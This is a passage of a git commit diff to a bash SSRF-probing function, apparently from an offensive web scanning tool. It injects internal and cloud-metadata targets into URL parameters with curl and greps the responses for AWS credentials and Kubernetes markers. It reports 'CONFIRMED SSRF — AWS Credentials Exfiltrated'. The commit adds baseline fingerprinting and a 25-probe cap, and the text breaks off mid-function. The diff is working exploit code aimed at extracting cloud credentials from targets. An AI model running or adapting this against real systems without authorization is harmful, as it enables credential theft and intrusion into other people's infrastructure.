Fix SSRF v22: baseline fingerprint prevents false positives, limit to 25 fast probes

This commit is contained in:
drjones
2026-06-21 16:39:21 -07:00
parent d2bc52905d
commit c607277c72

View File

@@ -78,6 +78,10 @@ vector_ssrf_proof() {
local tested=0 local tested=0
# Get baseline response to compare against (avoid FPs)
local baseline=$(curl -s --connect-timeout 5 --max-time 8 "$target" 2>/dev/null)
local baseline_fingerprint=$(echo "$baseline" | head -3 | tr -d '[:space:]' | cut -c1-50)
# Get URL params from discovery # Get URL params from discovery
local urls=$(get_discovered_urls "$domain" 2>/dev/null) local urls=$(get_discovered_urls "$domain" 2>/dev/null)
local param_names=$(echo -e "$urls" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u 2>/dev/null) local param_names=$(echo -e "$urls" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u 2>/dev/null)
@@ -85,17 +89,27 @@ vector_ssrf_proof() {
# If no params found, try common SSRF parameters # If no params found, try common SSRF parameters
if [ -z "$param_names" ]; then if [ -z "$param_names" ]; then
print_sub "No params found. Probing common SSRF parameters..." print_sub "No params found. Probing common SSRF parameters..."
local max_tests=25
local test_count=0
for param in "${ssrf_params[@]}"; do for param in "${ssrf_params[@]}"; do
[ $test_count -ge $max_tests ] && break
for internal in "${internal_targets[@]}"; do for internal in "${internal_targets[@]}"; do
tested=$((tested + 1)) [ $test_count -ge $max_tests ] && break
test_count=$((test_count + 1))
tested=$test_count
# URL-encode the internal target # URL-encode the internal target
local encoded=$(printf '%s' "$internal" | jq -sRr @uri 2>/dev/null || echo "$internal") local encoded=$(printf '%s' "$internal" | jq -sRr @uri 2>/dev/null || echo "$internal")
local test_url="${target}?${param}=${encoded}" local test_url="${target}?${param}=${encoded}"
local response=$(curl -s --connect-timeout 6 --max-time 10 "$test_url" 2>/dev/null) local response=$(curl -s --connect-timeout 4 --max-time 6 "$test_url" 2>/dev/null)
local resp_fingerprint=$(echo "$response" | head -3 | tr -d '[:space:]' | cut -c1-50)
if echo "$response" | grep -qi "$AWS_CRED_PATTERN\|$METADATA_PATTERN\|$CLOUD_PROOF"; then # Skip if response is same as baseline (parameter ignored by app)
[ "$resp_fingerprint" = "$baseline_fingerprint" ] && continue
# Now check for actual SSRF markers
if echo "$response" | grep -qi "$AWS_CRED_PATTERN\|$METADATA_PATTERN\|$CLOUD_PROOF\|kubernetes.*namespace\|pods/"; then
if echo "$response" | grep -qi "$AWS_CRED_PATTERN"; then if echo "$response" | grep -qi "$AWS_CRED_PATTERN"; then
print_find "CONFIRMED SSRF — AWS Credentials Exfiltrated!" "$param=$internal" print_find "CONFIRMED SSRF — AWS Credentials Exfiltrated!" "$param=$internal"
echo "SEVERITY: CRITICAL echo "SEVERITY: CRITICAL